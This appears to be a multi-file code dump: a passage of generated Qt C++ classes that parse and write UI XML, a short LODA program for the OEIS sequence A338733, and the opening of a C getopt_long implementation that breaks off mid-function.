m_color = 0;
return a;
}
void DomProperty::setElementColor(DomColor* a)
{
clear(false);
m_kind = Color;
m_color = a;
}
void DomProperty::setElementCstring(const QString& a)
{
clear(false);
m_kind = Cstring;
m_cstring = a;
}
void DomProperty::setElementCursor(int a)
{
clear(false);
m_kind = Cursor;
m_cursor = a;
}
void DomProperty::setElementCursorShape(const QString& a)
{
clear(false);
m_kind = CursorShape;
m_cursorShape = a;
}
void DomProperty::setElementEnum(const QString& a)
{
clear(false);
m_kind = Enum;
m_enum = a;
}
DomFont* DomProperty::takeElementFont()
{
DomFont* a = m_font;
m_font = 0;
return a;
}
void DomProperty::setElementFont(DomFont* a)
{
clear(false);
m_kind = Font;
m_font = a;
}
DomResourceIcon* DomProperty::takeElementIconSet()
{
DomResourceIcon* a = m_iconSet;
m_iconSet = 0;
return a;
}
void DomProperty::setElementIconSet(DomResourceIcon* a)
{
clear(false);
m_kind = IconSet;
m_iconSet = a;
}
DomResourcePixmap* DomProperty::takeElementPixmap()
{
DomResourcePixmap* a = m_pixmap;
m_pixmap = 0;
return a;
}
void DomProperty::setElementPixmap(DomResourcePixmap* a)
{
clear(false);
m_kind = Pixmap;
m_pixmap = a;
}
DomPalette* DomProperty::takeElementPalette()
{
DomPalette* a = m_palette;
m_palette = 0;
return a;
}
void DomProperty::setElementPalette(DomPalette* a)
{
clear(false);
m_kind = Palette;
m_palette = a;
}
DomPoint* DomProperty::takeElementPoint()
{
DomPoint* a = m_point;
m_point = 0;
return a;
}
void DomProperty::setElementPoint(DomPoint* a)
{
clear(false);
m_kind = Point;
m_point = a;
}
DomRect* DomProperty::takeElementRect()
{
DomRect* a = m_rect;
m_rect = 0;
return a;
}
void DomProperty::setElementRect(DomRect* a)
{
clear(false);
m_kind = Rect;
m_rect = a;
}
void DomProperty::setElementSet(const QString& a)
{
clear(false);
m_kind = Set;
m_set = a;
}
DomLocale* DomProperty::takeElementLocale()
{
DomLocale* a = m_locale;
m_locale = 0;
return a;
}
void DomProperty::setElementLocale(DomLocale* a)
{
clear(false);
m_kind = Locale;
m_locale = a;
}
DomSizePolicy* DomProperty::takeElementSizePolicy()
{
DomSizePolicy* a = m_sizePolicy;
m_sizePolicy = 0;
return a;
}
void DomProperty::setElementSizePolicy(DomSizePolicy* a)
{
clear(false);
m_kind = SizePolicy;
m_sizePolicy = a;
}
DomSize* DomProperty::takeElementSize()
{
DomSize* a = m_size;
m_size = 0;
return a;
}
void DomProperty::setElementSize(DomSize* a)
{
clear(false);
m_kind = Size;
m_size = a;
}
DomString* DomProperty::takeElementString()
{
DomString* a = m_string;
m_string = 0;
return a;
}
void DomProperty::setElementString(DomString* a)
{
clear(false);
m_kind = String;
m_string = a;
}
DomStringList* DomProperty::takeElementStringList()
{
DomStringList* a = m_stringList;
m_stringList = 0;
return a;
}
void DomProperty::setElementStringList(DomStringList* a)
{
clear(false);
m_kind = StringList;
m_stringList = a;
}
void DomProperty::setElementNumber(int a)
{
clear(false);
m_kind = Number;
m_number = a;
}
void DomProperty::setElementFloat(float a)
{
clear(false);
m_kind = Float;
m_float = a;
}
void DomProperty::setElementDouble(double a)
{
clear(false);
m_kind = Double;
m_double = a;
}
DomDate* DomProperty::takeElementDate()
{
DomDate* a = m_date;
m_date = 0;
return a;
}
void DomProperty::setElementDate(DomDate* a)
{
clear(false);
m_kind = Date;
m_date = a;
}
DomTime* DomProperty::takeElementTime()
{
DomTime* a = m_time;
m_time = 0;
return a;
}
void DomProperty::setElementTime(DomTime* a)
{
clear(false);
m_kind = Time;
m_time = a;
}
DomDateTime* DomProperty::takeElementDateTime()
{
DomDateTime* a = m_dateTime;
m_dateTime = 0;
return a;
}
void DomProperty::setElementDateTime(DomDateTime* a)
{
clear(false);
m_kind = DateTime;
m_dateTime = a;
}
DomPointF* DomProperty::takeElementPointF()
{
DomPointF* a = m_pointF;
m_pointF = 0;
return a;
}
void DomProperty::setElementPointF(DomPointF* a)
{
clear(false);
m_kind = PointF;
m_pointF = a;
}
DomRectF* DomProperty::takeElementRectF()
{
DomRectF* a = m_rectF;
m_rectF = 0;
return a;
}
void DomProperty::setElementRectF(DomRectF* a)
{
clear(false);
m_kind = RectF;
m_rectF = a;
}
DomSizeF* DomProperty::takeElementSizeF()
{
DomSizeF* a = m_sizeF;
m_sizeF = 0;
return a;
}
void DomProperty::setElementSizeF(DomSizeF* a)
{
clear(false);
m_kind = SizeF;
m_sizeF = a;
}
void DomProperty::setElementLongLong(qlonglong a)
{
clear(false);
m_kind = LongLong;
m_longLong = a;
}
DomChar* DomProperty::takeElementChar()
{
DomChar* a = m_char;
m_char = 0;
return a;
}
void DomProperty::setElementChar(DomChar* a)
{
clear(false);
m_kind = Char;
m_char = a;
}
DomUrl* DomProperty::takeElementUrl()
{
DomUrl* a = m_url;
m_url = 0;
return a;
}
void DomProperty::setElementUrl(DomUrl* a)
{
clear(false);
m_kind = Url;
m_url = a;
}
void DomProperty::setElementUInt(uint a)
{
clear(false);
m_kind = UInt;
m_UInt = a;
}
void DomProperty::setElementULongLong(qulonglong a)
{
clear(false);
m_kind = ULongLong;
m_uLongLong = a;
}
DomBrush* DomProperty::takeElementBrush()
{
DomBrush* a = m_brush;
m_brush = 0;
return a;
}
void DomProperty::setElementBrush(DomBrush* a)
{
clear(false);
m_kind = Brush;
m_brush = a;
}
void DomConnections::clear(bool clear_all)
{
qDeleteAll(m_connection);
m_connection.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomConnections::DomConnections()
{
m_children = 0;
}
DomConnections::~DomConnections()
{
qDeleteAll(m_connection);
m_connection.clear();
}
void DomConnections::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("connection")) {
DomConnection *v = new DomConnection();
v->read(reader);
m_connection.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomConnections::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("connection")) {
DomConnection *v = new DomConnection();
v->read(e);
m_connection.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomConnections::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("connections") : tagName.toLower());
for (int i = 0; i < m_connection.size(); ++i) {
DomConnection* v = m_connection[i];
v->write(writer, QLatin1String("connection"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomConnections::setElementConnection(const QList<DomConnection*>& a)
{
m_children |= Connection;
m_connection = a;
}
void DomConnection::clear(bool clear_all)
{
delete m_hints;
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_hints = 0;
}
DomConnection::DomConnection()
{
m_children = 0;
m_hints = 0;
}
DomConnection::~DomConnection()
{
delete m_hints;
}
void DomConnection::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("sender")) {
setElementSender(reader.readElementText());
continue;
}
if (tag == QLatin1String("signal")) {
setElementSignal(reader.readElementText());
continue;
}
if (tag == QLatin1String("receiver")) {
setElementReceiver(reader.readElementText());
continue;
}
if (tag == QLatin1String("slot")) {
setElementSlot(reader.readElementText());
continue;
}
if (tag == QLatin1String("hints")) {
DomConnectionHints *v = new DomConnectionHints();
v->read(reader);
setElementHints(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomConnection::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("sender")) {
setElementSender(e.text());
continue;
}
if (tag == QLatin1String("signal")) {
setElementSignal(e.text());
continue;
}
if (tag == QLatin1String("receiver")) {
setElementReceiver(e.text());
continue;
}
if (tag == QLatin1String("slot")) {
setElementSlot(e.text());
continue;
}
if (tag == QLatin1String("hints")) {
DomConnectionHints *v = new DomConnectionHints();
v->read(e);
setElementHints(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomConnection::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("connection") : tagName.toLower());
if (m_children & Sender) {
writer.writeTextElement(QLatin1String("sender"), m_sender);
}
if (m_children & Signal) {
writer.writeTextElement(QLatin1String("signal"), m_signal);
}
if (m_children & Receiver) {
writer.writeTextElement(QLatin1String("receiver"), m_receiver);
}
if (m_children & Slot) {
writer.writeTextElement(QLatin1String("slot"), m_slot);
}
if (m_children & Hints) {
m_hints->write(writer, QLatin1String("hints"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomConnection::setElementSender(const QString& a)
{
m_children |= Sender;
m_sender = a;
}
void DomConnection::setElementSignal(const QString& a)
{
m_children |= Signal;
m_signal = a;
}
void DomConnection::setElementReceiver(const QString& a)
{
m_children |= Receiver;
m_receiver = a;
}
void DomConnection::setElementSlot(const QString& a)
{
m_children |= Slot;
m_slot = a;
}
DomConnectionHints* DomConnection::takeElementHints()
{
DomConnectionHints* a = m_hints;
m_hints = 0;
m_children ^= Hints;
return a;
}
void DomConnection::setElementHints(DomConnectionHints* a)
{
delete m_hints;
m_children |= Hints;
m_hints = a;
}
void DomConnection::clearElementSender()
{
m_children &= ~Sender;
}
void DomConnection::clearElementSignal()
{
m_children &= ~Signal;
}
void DomConnection::clearElementReceiver()
{
m_children &= ~Receiver;
}
void DomConnection::clearElementSlot()
{
m_children &= ~Slot;
}
void DomConnection::clearElementHints()
{
delete m_hints;
m_hints = 0;
m_children &= ~Hints;
}
void DomConnectionHints::clear(bool clear_all)
{
qDeleteAll(m_hint);
m_hint.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomConnectionHints::DomConnectionHints()
{
m_children = 0;
}
DomConnectionHints::~DomConnectionHints()
{
qDeleteAll(m_hint);
m_hint.clear();
}
void DomConnectionHints::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("hint")) {
DomConnectionHint *v = new DomConnectionHint();
v->read(reader);
m_hint.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomConnectionHints::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("hint")) {
DomConnectionHint *v = new DomConnectionHint();
v->read(e);
m_hint.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomConnectionHints::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("connectionhints") : tagName.toLower());
for (int i = 0; i < m_hint.size(); ++i) {
DomConnectionHint* v = m_hint[i];
v->write(writer, QLatin1String("hint"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomConnectionHints::setElementHint(const QList<DomConnectionHint*>& a)
{
m_children |= Hint;
m_hint = a;
}
void DomConnectionHint::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_type = false;
}
m_children = 0;
m_x = 0;
m_y = 0;
}
DomConnectionHint::DomConnectionHint()
{
m_children = 0;
m_has_attr_type = false;
m_x = 0;
m_y = 0;
}
DomConnectionHint::~DomConnectionHint()
{
}
void DomConnectionHint::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("type")) {
setAttributeType(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(reader.readElementText().toInt());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomConnectionHint::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("type")))
setAttributeType(node.attribute(QLatin1String("type")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(e.text().toInt());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomConnectionHint::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("connectionhint") : tagName.toLower());
if (hasAttributeType())
writer.writeAttribute(QLatin1String("type"), attributeType());
if (m_children & X) {
writer.writeTextElement(QString(QLatin1Char('x')), QString::number(m_x));
}
if (m_children & Y) {
writer.writeTextElement(QString(QLatin1Char('y')), QString::number(m_y));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomConnectionHint::setElementX(int a)
{
m_children |= X;
m_x = a;
}
void DomConnectionHint::setElementY(int a)
{
m_children |= Y;
m_y = a;
}
void DomConnectionHint::clearElementX()
{
m_children &= ~X;
}
void DomConnectionHint::clearElementY()
{
m_children &= ~Y;
}
void DomScript::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_source = false;
m_has_attr_language = false;
}
m_children = 0;
}
DomScript::DomScript()
{
m_children = 0;
m_has_attr_source = false;
m_has_attr_language = false;
}
DomScript::~DomScript()
{
}
void DomScript::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("source")) {
setAttributeSource(attribute.value().toString());
continue;
}
if (name == QLatin1String("language")) {
setAttributeLanguage(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomScript::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("source")))
setAttributeSource(node.attribute(QLatin1String("source")));
if (node.hasAttribute(QLatin1String("language")))
setAttributeLanguage(node.attribute(QLatin1String("language")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomScript::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("script") : tagName.toLower());
if (hasAttributeSource())
writer.writeAttribute(QLatin1String("source"), attributeSource());
if (hasAttributeLanguage())
writer.writeAttribute(QLatin1String("language"), attributeLanguage());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomWidgetData::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomWidgetData::DomWidgetData()
{
m_children = 0;
}
DomWidgetData::~DomWidgetData()
{
qDeleteAll(m_property);
m_property.clear();
}
void DomWidgetData::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomWidgetData::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomWidgetData::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("widgetdata") : tagName.toLower());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomWidgetData::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomDesignerData::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomDesignerData::DomDesignerData()
{
m_children = 0;
}
DomDesignerData::~DomDesignerData()
{
qDeleteAll(m_property);
m_property.clear();
}
void DomDesignerData::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomDesignerData::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomDesignerData::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("designerdata") : tagName.toLower());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomDesignerData::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomSlots::clear(bool clear_all)
{
m_signal.clear();
m_slot.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomSlots::DomSlots()
{
m_children = 0;
}
DomSlots::~DomSlots()
{
m_signal.clear();
m_slot.clear();
}
void DomSlots::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("signal")) {
m_signal.append(reader.readElementText());
continue;
}
if (tag == QLatin1String("slot")) {
m_slot.append(reader.readElementText());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomSlots::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("signal")) {
m_signal.append(e.text());
continue;
}
if (tag == QLatin1String("slot")) {
m_slot.append(e.text());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomSlots::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("slots") : tagName.toLower());
for (int i = 0; i < m_signal.size(); ++i) {
QString v = m_signal[i];
writer.writeTextElement(QLatin1String("signal"), v);
}
for (int i = 0; i < m_slot.size(); ++i) {
QString v = m_slot[i];
writer.writeTextElement(QLatin1String("slot"), v);
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSlots::setElementSignal(const QStringList& a)
{
m_children |= Signal;
m_signal = a;
}
void DomSlots::setElementSlot(const QStringList& a)
{
m_children |= Slot;
m_slot = a;
}
void DomPropertySpecifications::clear(bool clear_all)
{
qDeleteAll(m_stringpropertyspecification);
m_stringpropertyspecification.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomPropertySpecifications::DomPropertySpecifications()
{
m_children = 0;
}
DomPropertySpecifications::~DomPropertySpecifications()
{
qDeleteAll(m_stringpropertyspecification);
m_stringpropertyspecification.clear();
}
void DomPropertySpecifications::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("stringpropertyspecification")) {
DomStringPropertySpecification *v = new DomStringPropertySpecification();
v->read(reader);
m_stringpropertyspecification.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomPropertySpecifications::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("stringpropertyspecification")) {
DomStringPropertySpecification *v = new DomStringPropertySpecification();
v->read(e);
m_stringpropertyspecification.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomPropertySpecifications::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("propertyspecifications") : tagName.toLower());
for (int i = 0; i < m_stringpropertyspecification.size(); ++i) {
DomStringPropertySpecification* v = m_stringpropertyspecification[i];
v->write(writer, QLatin1String("stringpropertyspecification"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomPropertySpecifications::setElementStringpropertyspecification(const QList<DomStringPropertySpecification*>& a)
{
m_children |= Stringpropertyspecification;
m_stringpropertyspecification = a;
}
void DomStringPropertySpecification::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
m_has_attr_type = false;
m_has_attr_notr = false;
}
m_children = 0;
}
DomStringPropertySpecification::DomStringPropertySpecification()
{
m_children = 0;
m_has_attr_name = false;
m_has_attr_type = false;
m_has_attr_notr = false;
}
DomStringPropertySpecification::~DomStringPropertySpecification()
{
}
void DomStringPropertySpecification::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
if (name == QLatin1String("type")) {
setAttributeType(attribute.value().toString());
continue;
}
if (name == QLatin1String("notr")) {
setAttributeNotr(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomStringPropertySpecification::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
if (node.hasAttribute(QLatin1String("type")))
setAttributeType(node.attribute(QLatin1String("type")));
if (node.hasAttribute(QLatin1String("notr")))
setAttributeNotr(node.attribute(QLatin1String("notr")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomStringPropertySpecification::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("stringpropertyspecification") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (hasAttributeType())
writer.writeAttribute(QLatin1String("type"), attributeType());
if (hasAttributeNotr())
writer.writeAttribute(QLatin1String("notr"), attributeNotr());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
QT_END_NAMESPACE
|
; A338733: Partial sums of A054843.
; 1,3,4,7,8,10,13,15,16,19,22,24,26,28,30,35,36,38,41,43,45,50,52,54,56,59,61,65,68,70,74,76,77,81,83,87,91,93,95,99,101,103,107,109,111,118,120,122,124,127,130,134,136,138,142,147,149,153,155,157,161,163,165,171,172
mov $4,2
lpb $4
sub $4,1
add $0,$4
sub $0,1
lpb $0
mov $3,$0
sub $0,1
sub $0,$1
add $1,1
div $3,$1
add $2,$3
trn $4,28
lpe
lpe
add $1,$2
add $1,1
mov $0,$1
|
#define _GNU_SOURCE
#include <stddef.h>
#include <getopt.h>
#include <stdio.h>
#include <string.h>
extern int __optpos, __optreset;
static void permute(char *const *argv, int dest, int src)
{
char **av = (char **)argv;
char *tmp = av[src];
int i;
for (i=src; i>dest; i--)
av[i] = av[i-1];
av[dest] = tmp;
}
void __getopt_msg(const char *, const char *, const char *, size_t);
static int __getopt_long_core(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx, int longonly);
static int __getopt_long(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx, int longonly)
{
int ret, skipped, resumed;
if (!optind || __optreset) {
__optreset = 0;
__optpos = 0;
optind = 1;
}
if (optind >= argc || !argv[optind]) return -1;
skipped = optind;
if (optstring[0] != '+' && optstring[0] != '-') {
int i;
for (i=optind; ; i++) {
if (i >= argc || !argv[i]) return -1;
if (argv[i][0] == '-' && argv[i][1]) break;
}
optind = i;
}
resumed = optind;
ret = __getopt_long_core(argc, argv, optstring, longopts, idx, longonly);
if (resumed > skipped) {
int i, cnt = optind-resumed;
for (i=0; i<cnt; i++)
permute(argv, skipped, optind-1);
optind = skipped + cnt;
}
return ret;
}
static int __getopt_long_core(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx, int longonly)
{
if (longopts && argv[optind][0] == '-' &&
((longonly && argv[optind][1]) ||
(argv[optind][1] == '-' && argv[optind][2])))
{
int colon = optstring[optstring[0]=='+'||optstring[0]=='-']==':';
int i, cnt, match;
char *opt;
for (cnt=i=0; longopts[i].name; i++) {
const char *name = longopts[i].name;
opt = argv[optind]+1;
if (*opt == '-') opt++;
for (; *name && *name == *opt; name++, opt++);
if (*opt && *opt != '=') continue;
match = i;
if (!*name) {
cnt = 1;
break;
}
